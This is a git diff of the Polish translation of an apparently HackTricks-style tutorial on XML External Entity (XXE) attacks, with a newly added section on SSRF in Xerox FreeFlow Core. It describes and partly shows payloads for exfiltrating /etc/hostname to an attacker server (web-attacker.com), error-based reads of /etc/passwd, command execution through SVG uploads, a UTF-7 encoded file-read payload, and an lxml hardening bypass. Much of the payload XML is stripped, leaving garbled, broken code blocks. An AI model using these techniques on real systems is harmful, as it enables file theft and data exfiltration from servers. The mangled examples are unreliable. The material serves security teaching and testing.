struktury dokumentu i typów danych, które może zawierać. Mogą być wewnętrzne, zewnętrzne lub kombinacją, kierując, jak dokumenty są formatowane i walidowane. - **Własne i zewnętrzne encje**: XML wspiera tworzenie własnych encji w ramach DTD dla elastycznej reprezentacji danych. Zewnętrzne encje, definiowane za pomocą URL, budzą obawy dotyczące bezpieczeństwa, szczególnie w kontekście ataków XML External Entity (XXE), które wykorzystują sposób, w jaki parsery XML obsługują zewnętrzne źródła danych: ` ]>` -- **Wykrywanie XXE za pomocą encji parametru**: Do wykrywania podatności XXE, szczególnie gdy konwencjonalne metody zawodzą z powodu środków bezpieczeństwa parsera, można wykorzystać encje parametru XML. Te encje pozwalają na techniki wykrywania poza pasmem, takie jak wywoływanie zapytań DNS lub żądań HTTP do kontrolowanej domeny, aby potwierdzić podatność. +- **Wykrywanie XXE za pomocą encji parametrów**: Do wykrywania podatności XXE, szczególnie gdy konwencjonalne metody zawodzą z powodu środków bezpieczeństwa parsera, można wykorzystać encje parametrów XML. Te encje pozwalają na techniki wykrywania poza pasmem, takie jak wywoływanie zapytań DNS lub żądań HTTP do kontrolowanej domeny, aby potwierdzić podatność. - ` ]>` - ` ]>` ## Główne ataki -[**Większość tych ataków była testowana przy użyciu niesamowitych laboratoriów XEE Portswigger: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe) +[**Większość tych ataków była testowana przy użyciu wspaniałych laboratoriów XEE Portswigger: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe) ### Test nowej encji @@ -68,7 +68,7 @@ W tym trzecim przypadku zauważamy, że deklarujemy `Element stockCheck` jako AN W aplikacjach opartych na **Java** może być możliwe **wylistowanie zawartości katalogu** za pomocą XXE z ładunkiem takim jak (po prostu pytając o katalog zamiast pliku): ```xml -]>&xxe; +&xxe; ]>&xxe; @@ -91,9 +91,9 @@ Używając **wcześniej skomentowanej techniki**, możesz sprawić, że serwer u ``` ### "Blind" SSRF - Exfiltracja danych poza pasmem -**W tej okazji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (dla plików wieloliniowych możesz spróbować wyeksfiltrować je za pomocą \_ftp://**\_ używając na przykład tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). To wyjaśnienie opiera się na** [**laboratorium Portswigger tutaj**](https://portswigger.net/web-security/xxe/blind)**.** +**W tej sytuacji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (w przypadku plików wieloliniowych możesz spróbować wyeksfiltrować je za pomocą \_ftp://**\_ używając na przykład tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). To wyjaśnienie opiera się na** [**laboratorium Portswigger tutaj**](https://portswigger.net/web-security/xxe/blind)**.** -W podanym złośliwym DTD przeprowadzane są szereg kroków w celu eksfiltracji danych: +W podanym złośliwym DTD przeprowadzane są szereg kroków w celu wyeksfiltrowania danych: ### Przykład złośliwego DTD: @@ -106,22 +106,22 @@ Struktura jest następująca: ``` Kroki wykonywane przez ten DTD obejmują: -1. **Definicja encji parametru:** -- Encja parametru XML, `%file`, jest tworzona, odczytując zawartość pliku `/etc/hostname`. -- Inna encja parametru XML, `%eval`, jest definiowana. Dynamicznie deklaruje nową encję parametru XML, `%exfiltrate`. Encja `%exfiltrate` jest ustawiona na wykonanie żądania HTTP do serwera atakującego, przekazując zawartość encji `%file` w ciągu zapytania URL. -2. **Wykonanie encji:** -- Encja `%eval` jest wykorzystywana, co prowadzi do wykonania dynamicznej deklaracji encji `%exfiltrate`. -- Encja `%exfiltrate` jest następnie używana, co wyzwala żądanie HTTP do określonego URL z zawartością pliku. +1. **Definicja jednostek parametrów:** +- Jednostka parametru XML, `%file`, jest tworzona, odczytując zawartość pliku `/etc/hostname`. +- Inna jednostka parametru XML, `%eval`, jest definiowana. Dynamicznie deklaruje nową jednostkę parametru XML, `%exfiltrate`. Jednostka `%exfiltrate` jest ustawiona na wykonanie żądania HTTP do serwera atakującego, przekazując zawartość jednostki `%file` w ciągu zapytania URL. +2. **Wykonanie jednostek:** +- Jednostka `%eval` jest wykorzystywana, co prowadzi do wykonania dynamicznej deklaracji jednostki `%exfiltrate`. +- Jednostka `%exfiltrate` jest następnie używana, co wyzwala żądanie HTTP do określonego URL z zawartością pliku. Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zazwyczaj pod adresem URL takim jak `http://web-attacker.com/malicious.dtd`. -**Ładunek XXE:** Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE: +**XXE Payload:** Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE: ```xml %xxe;]> 3;1 ``` -Ten ładunek definiuje zewnętrzny byt parametru XML `%xxe` i włącza go w DTD. Gdy jest przetwarzany przez parser XML, ten ładunek pobiera zewnętrzny DTD z serwera atakującego. Parser następnie interpretuje DTD w linii, wykonując kroki opisane w złośliwym DTD, co prowadzi do eksfiltracji pliku `/etc/hostname` na serwer atakującego. +Ten ładunek definiuje zewnętrzny byt parametru XML `%xxe` i włącza go w DTD. Gdy jest przetwarzany przez parser XML, ten ładunek pobiera zewnętrzny DTD z serwera atakującego. Parser następnie interpretuje DTD w linii, wykonując kroki opisane w złośliwym DTD i prowadząc do eksfiltracji pliku `/etc/hostname` na serwer atakującego. ### Błąd oparty (Zewnętrzny DTD) @@ -132,7 +132,7 @@ Komunikat o błędzie parsowania XML, ujawniający zawartość pliku `/etc/passw 1. Definiuje się byt parametru XML o nazwie `file`, który zawiera zawartość pliku `/etc/passwd`. 2. Definiuje się byt parametru XML o nazwie `eval`, włączający dynamiczną deklarację dla innego bytu parametru XML o nazwie `error`. Ten byt `error`, po ocenie, próbuje załadować nieistniejący plik, włączając zawartość bytu `file` jako swoją nazwę. 3. Wywoływany jest byt `eval`, co prowadzi do dynamicznej deklaracji bytu `error`. -4. Wywołanie bytu `error` skutkuje próbą załadowania nieistniejącego pliku, co generuje komunikat o błędzie, który zawiera zawartość pliku `/etc/passwd` jako część nazwy pliku. +4. Wywołanie bytu `error` skutkuje próbą załadowania nieistniejącego pliku, co produkuje komunikat o błędzie, który zawiera zawartość pliku `/etc/passwd` jako część nazwy pliku. Złośliwy zewnętrzny DTD można wywołać za pomocą następującego XML: ```xml @@ -150,7 +150,7 @@ _**Proszę zauważyć, że zewnętrzny DTD pozwala nam na uwzględnienie jednej Co zatem z niewidocznymi lukami XXE, gdy **interakcje poza pasmem są zablokowane** (połączenia zewnętrzne nie są dostępne)? -Luka w specyfikacji języka XML może **ujawniać wrażliwe dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy deklaracje wewnętrzne i zewnętrzne**. Problem ten pozwala na wewnętrzną redefinicję encji zadeklarowanych zewnętrznie, co ułatwia przeprowadzenie ataków XXE opartych na błędach. Takie ataki wykorzystują redefinicję encji parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z poziomu wewnętrznego DTD. Gdy połączenia poza pasmem są zablokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, dążąc do wywołania błędu analizy, aby ujawnić wrażliwe informacje. +Luka w specyfikacji języka XML może **ujawniać wrażliwe dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy wewnętrzne i zewnętrzne deklaracje**. Problem ten pozwala na wewnętrzną redefinicję encji zadeklarowanych zewnętrznie, co ułatwia przeprowadzenie ataków XXE opartych na błędach. Takie ataki wykorzystują redefinicję encji parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z poziomu wewnętrznego DTD. Gdy połączenia poza pasmem są zablokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, dążąc do wywołania błędu analizy w celu ujawnienia wrażliwych informacji. Rozważ scenariusz, w którym system plików serwera zawiera plik DTD w `/usr/local/app/schema.dtd`, definiujący encję o nazwie `custom_entity`. Atakujący może wywołać błąd analizy XML ujawniający zawartość pliku `/etc/passwd`, przesyłając hybrydowy DTD w następujący sposób: ```xml @@ -167,8 +167,8 @@ Rozważ scenariusz, w którym system plików serwera zawiera plik DTD w `/usr/lo ``` Zarysowane kroki są realizowane przez ten DTD: -- Definicja encji parametru XML o nazwie `local_dtd` zawiera zewnętrzny plik DTD znajdujący się w systemie plików serwera. -- Następuje redefinicja encji parametru XML `custom_entity`, pierwotnie zdefiniowanej w zewnętrznym DTD, aby otoczyć [eksploit XXE oparty na błędach](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ta redefinicja ma na celu wywołanie błędu parsowania, ujawniając zawartość pliku `/etc/passwd`. +- Definicja encji parametru XML o nazwie `local_dtd` obejmuje zewnętrzny plik DTD znajdujący się w systemie plików serwera. +- Następuje redefinicja encji parametru XML `custom_entity`, pierwotnie zdefiniowanej w zewnętrznym DTD, aby otoczyć [eksploit XXE oparty na błędach](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ta redefinicja ma na celu wywołanie błędu analizy, ujawniając zawartość pliku `/etc/passwd`. - Poprzez zastosowanie encji `local_dtd`, zewnętrzny DTD jest zaangażowany, obejmując nowo zdefiniowaną encję `custom_entity`. Ta sekwencja działań prowadzi do emisji komunikatu o błędzie, który jest celem eksploitu. **Przykład z życia wzięty:** Systemy korzystające z środowiska graficznego GNOME często mają DTD w `/usr/share/yelp/dtd/docbookx.dtd`, zawierający encję o nazwie `ISOamso`. @@ -188,7 +188,7 @@ Zarysowane kroki są realizowane przez ten DTD: ``` ![](<../images/image (625).png>) -Ponieważ ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić, **instalując** ten sam **system operacyjny / oprogramowanie**, które używa serwer, i **szukając domyślnych DTD**, lub **zbierając listę** **domyślnych DTD** w systemach i **sprawdzając**, czy którykolwiek z nich istnieje: +Ponieważ ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić **instalując** ten sam **system operacyjny / oprogramowanie**, które używa serwer, i **szukając domyślnych DTD**, lub **zbierając listę** **domyślnych DTD** w systemach i **sprawdzając**, czy którykolwiek z nich istnieje: ```xml @@ -199,7 +199,7 @@ Dla uzyskania dodatkowych informacji sprawdź [https://portswigger.net/web-secur ### Znajdowanie DTD w systemie -W następującym niesamowitym repozytorium github możesz znaleźć **ścieżki DTD, które mogą być obecne w systemie**: +W następującym wspaniałym repozytorium github możesz znaleźć **ścieżki DTD, które mogą być obecne w systemie**: {{#ref}} https://github.com/GoSecure/dtd-finder/tree/master/list @@ -221,7 +221,7 @@ Testing 0 entities : [] Aby uzyskać bardziej szczegółowe wyjaśnienie tego ataku, **sprawdź drugą sekcję** [**tego niesamowitego posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**. -Możliwość **przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji internetowych**, które następnie wyodrębniają pewne szczegóły z tych dokumentów. Na przykład, aplikacja internetowa może pozwolić użytkownikom na importowanie danych poprzez przesyłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyodrębnić dane z arkusza kalkulacyjnego, nieuchronnie będzie musiał sparsować przynajmniej jeden plik XML. +Możliwość **przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji webowych**, które następnie wyodrębniają pewne szczegóły z tych dokumentów. Na przykład, aplikacja webowa może pozwolić użytkownikom na importowanie danych poprzez przesyłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyodrębnić dane z arkusza kalkulacyjnego, niezbędne będzie przetworzenie przynajmniej jednego pliku XML. Aby przetestować tę podatność, konieczne jest stworzenie **pliku Microsoft Office zawierającego ładunek XXE**. Pierwszym krokiem jest utworzenie pustego katalogu, do którego dokument może zostać rozpakowany. @@ -229,11 +229,11 @@ Po rozpakowaniu dokumentu, plik XML znajdujący się w `./unzipped/word/document Zmodyfikowane linie XML powinny być wstawione pomiędzy dwa obiekty XML root. Ważne jest, aby zastąpić URL monitorowalnym URL-em dla żądań. -Na koniec plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped" należy wykonać następujące polecenie: +Na koniec, plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped" należy wykonać następujące polecenie: -Teraz stworzony plik można przesłać do potencjalnie podatnej aplikacji internetowej i można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator. +Teraz stworzony plik można przesłać do potencjalnie podatnej aplikacji webowej i można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator. -### Jar: protokół +### Protokół: jar Protokół **jar** jest dostępny wyłącznie w **aplikacjach Java**. Został zaprojektowany, aby umożliwić dostęp do plików w archiwum **PKZIP** (np. `.zip`, `.jar` itp.), obsługując zarówno pliki lokalne, jak i zdalne. ``` @@ -241,7 +241,7 @@ jar:file:///var/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt ``` > [!CAUTION] -> Aby uzyskać dostęp do plików wewnątrz plików PKZIP, jest to **super przydatne do nadużywania XXE za pomocą systemowych plików DTD.** Sprawdź [ten rozdział, aby dowiedzieć się, jak nadużywać systemowych plików DTD](xxe-xee-xml-external-entity.md#error-based-system-dtd). +> Aby uzyskać dostęp do plików wewnątrz plików PKZIP, jest to **super przydatne do nadużywania XXE za pomocą plików DTD systemu.** Sprawdź [ten rozdział, aby dowiedzieć się, jak nadużywać plików DTD systemu](xxe-xee-xml-external-entity.md#error-based-system-dtd). Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar obejmuje kilka kroków: @@ -312,7 +312,7 @@ Then you can try to crack the hash using hashcat Kiedy integrujesz dane klienta w dokumentach XML po stronie serwera, takich jak te w żądaniach SOAP, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE z powodu ograniczeń w modyfikowaniu elementu `DOCTYPE`. Jednak atak `XInclude` oferuje rozwiązanie, pozwalając na wstawienie zewnętrznych encji w dowolnym elemencie danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy tylko część danych w generowanym przez serwer dokumencie XML może być kontrolowana. -Aby przeprowadzić atak `XInclude`, należy zadeklarować przestrzeń nazw `XInclude`, a ścieżka do pliku zamierzonej zewnętrznej encji musi być określona. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany: +Aby przeprowadzić atak `XInclude`, należy zadeklarować przestrzeń nazw `XInclude` i określić ścieżkę pliku dla zamierzonej zewnętrznej encji. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany: ```xml productId=&storeId=1 ``` @@ -322,7 +322,7 @@ Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web- Pliki przesyłane przez użytkowników do niektórych aplikacji, które są następnie przetwarzane na serwerze, mogą wykorzystać luki w sposobie obsługi plików XML lub formatów plików zawierających XML. Powszechne formaty plików, takie jak dokumenty biurowe (DOCX) i obrazy (SVG), opierają się na XML. -Gdy użytkownicy **przesyłają obrazy**, te obrazy są przetwarzane lub walidowane po stronie serwera. Nawet w przypadku aplikacji oczekujących formatów takich jak PNG lub JPEG, **biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG**. SVG, będąc formatem opartym na XML, może być wykorzystywane przez atakujących do przesyłania złośliwych obrazów SVG, narażając w ten sposób serwer na luki XXE (XML External Entity). +Gdy użytkownicy **przesyłają obrazy**, obrazy te są przetwarzane lub walidowane po stronie serwera. Nawet w przypadku aplikacji oczekujących formatów takich jak PNG lub JPEG, **biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG**. SVG, będąc formatem opartym na XML, może być wykorzystywane przez atakujących do przesyłania złośliwych obrazów SVG, narażając w ten sposób serwer na luki XXE (XML External Entity). Przykład takiego ataku pokazano poniżej, gdzie złośliwy obraz SVG próbuje odczytać pliki systemowe: ```xml @@ -334,11 +334,11 @@ Inna metoda polega na próbie **wykonywania poleceń** za pomocą wrappera PHP " ``` -W obu przypadkach format SVG jest używany do przeprowadzania ataków, które wykorzystują możliwości przetwarzania XML oprogramowania serwera, co podkreśla potrzebę solidnej walidacji danych wejściowych i środków bezpieczeństwa. +W obu przypadkach format SVG jest używany do uruchamiania ataków, które wykorzystują możliwości przetwarzania XML oprogramowania serwera, co podkreśla potrzebę solidnej walidacji danych wejściowych i środków bezpieczeństwa. Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) po więcej informacji! -**Zauważ, że pierwsza linia odczytanego pliku lub wynik wykonania pojawi się WEWNĄTRZ utworzonego obrazu. Musisz mieć dostęp do obrazu, który SVG utworzył.** +**Zauważ, że pierwsza linia odczytanego pliku lub wynik wykonania pojawi się WEWNĄTRZ utworzonego obrazu. Musisz mieć dostęp do obrazu, który utworzył SVG.** ### **PDF - Przesyłanie plików** @@ -358,7 +358,7 @@ Content-Length: 7 foo=bar ``` -Wtedy możesz być w stanie złożyć następujące żądanie, uzyskując ten sam wynik: +Wtedy możesz być w stanie złożyć następujące żądanie, z tym samym wynikiem: ```xml POST /action HTTP/1.0 Content-Type: text/xml @@ -408,7 +408,7 @@ To działa tylko wtedy, gdy serwer XML akceptuje protokół `data://`. ### UTF-7 -Możesz użyć \[**"Encode Recipe**" z cyberchef tutaj ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)do]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do)) do transformacji na UTF-7. +Możesz użyć \[**"Encode Recipe**" z cyberchef tutaj ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)do]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29do)) przekształcić na UTF-7. ```xml +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- @@ -452,7 +452,7 @@ Przykład DTD: ```xml ]> ``` -#### **Ekstrakcja zewnętrznego zasobu** +#### **Ekstrakcja zasobów zewnętrznych** ```xml ]> ``` @@ -474,7 +474,7 @@ Przykład DTD: ``` ## XLIFF - XXE -Ten przykład jest inspirowany w [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) +Ten przykład jest inspirowany [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) XLIFF (XML Localization Interchange File Format) jest wykorzystywany do standaryzacji wymiany danych w procesach lokalizacji. Jest to format oparty na XML, głównie używany do transferu danych lokalizacyjnych między narzędziami podczas lokalizacji oraz jako wspólny format wymiany dla narzędzi CAT (Computer-Aided Translation). @@ -492,7 +492,7 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -Jednak to żądanie wywołuje błąd wewnętrzny serwera, szczególnie wspominając o problemie z deklaracjami znaczników: +Jednakże, to żądanie wywołuje błąd wewnętrznego serwera, szczególnie wspominając o problemie z deklaracjami znaczników: ```json { "status": 500, @@ -500,7 +500,7 @@ Jednak to żądanie wywołuje błąd wewnętrzny serwera, szczególnie wspominaj "message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed." } ``` -Mimo błędu, na Burp Collaborator rejestrowany jest traf, co wskazuje na pewien poziom interakcji z zewnętrzną jednostką. +Mimo błędu, na Burp Collaborator rejestrowany jest traf, co wskazuje na pewien poziom interakcji z zewnętrznym bytem. Out of Band Data Exfiltration Aby wyeksfiltrować dane, wysyłane jest zmodyfikowane żądanie: ``` @@ -542,7 +542,7 @@ Poprawny XML w formacie RSS do wykorzystania luki XXE. ### Ping back -Prosta prośba HTTP do serwera atakującego +Prośba HTTP do serwera atakującego ```xml @@ -689,8 +689,8 @@ https://github.com/luisfontes19/xxexploiter #### 1. Wykorzystywanie lxml < 5.4.0 1. Zidentyfikuj lub stwórz *lokalny* DTD na dysku, który definiuje **niezdefiniowaną** encję parametru (np. `%config_hex;`). 2. Stwórz wewnętrzny DTD, który: -* Ładuje lokalny DTD z ``. -* Redefiniuje niezdefiniowaną encję tak, aby: +* Ładuje lokalny DTD za pomocą ``. +* Przedefiniowuje niezdefiniowaną encję, aby: - Odczytywała docelowy plik (``). - Budowała inną encję parametru, która odnosi się do **nieprawidłowej ścieżki** zawierającej wartość `%flag;` i wywołuje błąd parsera (`">`). 3. Na koniec rozwijaj `%local_dtd;` i `%eval;`, aby parser napotkał `%error;`, nie udało mu się otworzyć `/aaa/` i wyciekł flagę wewnątrz zgłoszonego wyjątku – który często jest zwracany użytkownikowi przez aplikację. @@ -704,7 +704,7 @@ https://github.com/luisfontes19/xxexploiter %local_dtd; ]> ``` -Gdy aplikacja drukuje wyjątek, odpowiedź zawiera: +Gdy aplikacja wyświetla wyjątek, odpowiedź zawiera: ``` Error : failed to load external entity "file:///aaa/FLAG{secret}" ``` @@ -712,9 +712,9 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}" > Jeśli parser zgłasza problemy z znakami `%`/`&` wewnątrz wewnętrznego podzbioru, podwójnie je koduj (`&#x25;` ⇒ `%`), aby opóźnić rozwinięcie. #### 2. Obejście wzmocnienia lxml 5.4.0 (libxml2 wciąż podatny) -`lxml` ≥ 5.4.0 zabrania *parametrów* błędów, takich jak ten powyżej, ale **libxml2** wciąż pozwala na ich osadzanie w *ogólnym* parametrze. Sztuczka polega na: -1. Wczytaniu pliku do parametru `%file`. -2. Zadeklarowaniu innego parametru, który buduje **ogólny** parametr `c`, którego identyfikator SYSTEM używa *nieistniejącego protokołu*, takiego jak `meow://%file;`. +`lxml` ≥ 5.4.0 zabrania *parametrów* błędów, takich jak ten powyżej, ale **libxml2** wciąż pozwala na ich osadzanie w *ogólnym* podmiocie. Sztuczka polega na: +1. Wczytaniu pliku do podmiotu parametru `%file`. +2. Zadeklarowaniu innego podmiotu parametru, który buduje **ogólny** podmiot `c`, którego identyfikator SYSTEM używa *nieistniejącego protokołu*, takiego jak `meow://%file;`. 3. Umieszczeniu `&c;` w treści XML. Gdy parser próbuje zrealizować `meow://…`, nie udaje mu się to i odzwierciedla pełny URI – w tym zawartość pliku – w komunikacie o błędzie. ```xml + +]> + +&probe; + +``` +Notatki: +- Zastąp adres URL encji swoim współpracownikiem. Jeśli SSRF jest możliwe, serwer rozwiąże go podczas parsowania wiadomości. +- Utrudnienia, na które należy zwrócić uwagę: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`. +- Nawet gdy port JMF nie serwuje plików, SSRF można łączyć w celu wewnętrznego rozpoznania lub dotarcia do interfejsów API zarządzania związanych z localhost. + +Odnośniki do tego wektora są wymienione na końcu strony. + +## Odnośniki - [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/) - [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf) - [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html) -- Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) +- Wyciągnij informacje przez HTTP używając własnego zewnętrznego DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection) - [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4) - [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9) @@ -782,5 +808,8 @@ Studium przypadku z rzeczywistego świata: **CVE-2025-27136** w emulatorze Java - [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42) - [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279) +- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) +- [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf) +- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) {{#include ../banners/hacktricks-training.md}}